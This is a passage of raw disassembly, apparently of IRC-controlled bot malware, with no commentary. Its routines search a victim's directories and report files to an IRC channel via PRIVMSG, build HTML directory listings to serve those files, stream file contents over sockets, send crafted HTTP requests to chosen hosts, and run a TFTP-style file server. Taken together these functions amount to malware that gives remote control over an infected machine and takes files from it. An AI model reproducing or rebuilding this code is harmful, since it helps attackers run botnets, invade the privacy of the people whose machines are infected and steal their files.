		call	dword_421090
		push	esi
		mov	[ebp+var_330], eax
		call	dword_42106C

loc_406301:				; CODE XREF: sub_406100+1A4j
					; sub_406100+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_426C6C
		push	eax
		call	sub_4154E7
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414F93
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43F54C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F7E
		push	edi
		push	edi
		call	dword_42108C
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43F55C[ecx], eax
		jz	short loc_40637B

loc_406369:				; CODE XREF: sub_406100+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_4063A9
		push	5
		call	dword_421060
		jmp	short loc_406369
; ---------------------------------------------------------------------------

loc_40637B:				; CODE XREF: sub_406100+267j
		push	ebx
		call	dword_43A450
		call	dword_421088
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_426C20
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40B16D
		add	esp, 10h

loc_4063A9:				; CODE XREF: sub_406100+1ADj
					; sub_406100+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063B0	proc near		; CODE XREF: sub_405F7E+159p
					; sub_40CE55+464Cp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415570
		mov	edi, [ebp+arg_0]
		push	offset asc_426CB4 ; "\n"
		push	edi
		call	sub_416C98
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40640F
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	loc_40650C
; ---------------------------------------------------------------------------

loc_40640F:				; CODE XREF: sub_4063B0+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064F2
		call	sub_415CF0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		push	edi
		call	sub_415CF0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40650C
; ---------------------------------------------------------------------------

loc_4064F2:				; CODE XREF: sub_4063B0+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h

loc_40650C:				; CODE XREF: sub_4063B0+5Aj
					; sub_4063B0+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		cmp	[ebp+arg_C], ebx
		jz	short loc_4065A4
		push	[ebp+arg_C]
		call	sub_415CF0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4065A4
		push	[ebp+arg_C]
		call	sub_415CF0
		sub	eax, 3
		pop	ecx
		jz	short loc_406558

loc_40654C:				; CODE XREF: sub_4063B0+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406558
		dec	eax
		jnz	short loc_40654C

loc_406558:				; CODE XREF: sub_4063B0+19Aj
					; sub_4063B0+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408

loc_4065A4:				; CODE XREF: sub_4063B0+17Ej
					; sub_4063B0+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4210A8
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4210A4
		test	eax, eax
		jz	loc_406995
		mov	edi, 1FFh

loc_4065D0:				; CODE XREF: sub_4063B0+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40697D
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4210A0
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42109C
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406645
		mov	ecx, offset aAm	; "AM"

loc_406645:				; CODE XREF: sub_4063B0+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_406651
		sub	eax, 0Ch

loc_406651:				; CODE XREF: sub_4063B0+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4154E7
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067FE
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066D2
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 28h
		jmp	loc_40694E
; ---------------------------------------------------------------------------

loc_4066D2:				; CODE XREF: sub_4063B0+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_4067BC
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406772
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406777
; ---------------------------------------------------------------------------

loc_406772:				; CODE XREF: sub_4063B0+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_406777:				; CODE XREF: sub_4063B0+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40693F
; ---------------------------------------------------------------------------

loc_4067BC:				; CODE XREF: sub_4063B0+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"

loc_4067E9:				; CODE XREF: sub_4063B0+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_40694E
; ---------------------------------------------------------------------------

loc_4067FE:				; CODE XREF: sub_4063B0+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406828
		push	ebx
		push	[ebp+var_368]
		call	sub_40C218
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4067E9
; ---------------------------------------------------------------------------

loc_406828:				; CODE XREF: sub_4063B0+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_406928
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068C8
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068CD
; ---------------------------------------------------------------------------

loc_4068C8:				; CODE XREF: sub_4063B0+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4068CD:				; CODE XREF: sub_4063B0+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		jmp	short loc_40694E
; ---------------------------------------------------------------------------

loc_406928:				; CODE XREF: sub_4063B0+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi

loc_40693F:				; CODE XREF: sub_4063B0+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_415A6A
		add	esp, 18h

loc_40694E:				; CODE XREF: sub_4063B0+31Dj
					; sub_4063B0+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		cmp	[ebp+arg_8], ebx
		jz	short loc_40697D
		push	7D0h
		call	dword_421060

loc_40697D:				; CODE XREF: sub_4063B0+226j
					; sub_4063B0+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4210A4
		test	eax, eax
		jnz	loc_4065D0

loc_406995:				; CODE XREF: sub_4063B0+215j
		push	[ebp+arg_0]
		call	dword_421098
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069D8
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------

loc_4069D8:				; CODE XREF: sub_4063B0+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069F2
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------

loc_4069F2:				; CODE XREF: sub_4063B0+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_406A0C:				; CODE XREF: sub_4063B0+626j
					; sub_4063B0+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A408
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4063B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A32	proc near		; CODE XREF: sub_405F7E+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_421078
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AEA
		push	esi
		push	ebx
		call	dword_421090
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406AE3

loc_406A77:				; CODE XREF: sub_406A32+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A94
		mov	edi, [ebp+arg_4]

loc_406A94:				; CODE XREF: sub_406A32+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4210AC
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_421068
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406ADE
		call	dword_43A34C
		cmp	eax, 2733h
		jnz	short loc_406AE3
		xor	eax, eax

loc_406ADE:				; CODE XREF: sub_406A32+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A77

loc_406AE3:				; CODE XREF: sub_406A32+43j
					; sub_406A32+A8j
		push	ebx
		call	dword_42106C

loc_406AEA:				; CODE XREF: sub_406A32+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A32	endp


; =============== S U B	R O U T	I N E =======================================



sub_406AEF	proc near		; CODE XREF: sub_406100+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_406B18

loc_406B02:				; CODE XREF: sub_406AEF+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406B0C
		mov	byte ptr [esi+edi], 2Fh

loc_406B0C:				; CODE XREF: sub_406AEF+17j
		push	edi
		inc	esi
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406B02

loc_406B18:				; CODE XREF: sub_406AEF+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406AEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B1D	proc near		; CODE XREF: sub_40CE55+2AD5p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43A330
		push	6
		push	1
		push	2
		call	dword_43A438
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43A3B8
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BFA
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B96
		mov	eax, offset byte_438FDC

loc_406B96:				; CODE XREF: sub_406B1D+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43A408
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43A3D0
		pop	esi

loc_406BFA:				; CODE XREF: sub_406B1D+6Bj
		push	ebx
		call	dword_43A450
		call	dword_43A318
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4154E7
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C3A
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_406C3A:				; CODE XREF: sub_406B1D+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C3E	proc near		; CODE XREF: sub_406C3E:loc_407129p
					; DATA XREF: sub_407276+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43A438
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406D01
		push	190h
		call	dword_421060
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_4272BC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CE1
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		add	esp, 14h

loc_406CE1:				; CODE XREF: sub_406C3E+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		push	[ebp+var_170]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048

loc_406D01:				; CODE XREF: sub_406C3E+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43F554[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43A3B8
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43A3E4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D66
		push	1388h
		call	dword_421060
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407129
; ---------------------------------------------------------------------------

loc_406D66:				; CODE XREF: sub_406C3E+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DE4
		push	190h
		call	dword_421060
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42726C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		push	[ebp+var_170]
		call	sub_4152AF
		add	esp, 28h
		push	ebx
		call	dword_421048

loc_406DE4:				; CODE XREF: sub_406C3E+140j
		mov	esi, 200h

loc_406DE9:				; CODE XREF: sub_406C3E+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070E9
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43A3A0
		test	eax, eax
		jle	loc_4070DD
		mov	al, byte_438FDC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43A390
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070C7
		cmp	[ebp+var_D7], 1
		jnz	loc_407013
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CF0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_416ED0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FCD
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_416ED0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FCD
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_416E3E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416BB0
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43A41C
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_427218

loc_406F81:				; CODE XREF: sub_406C3E+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4154E7
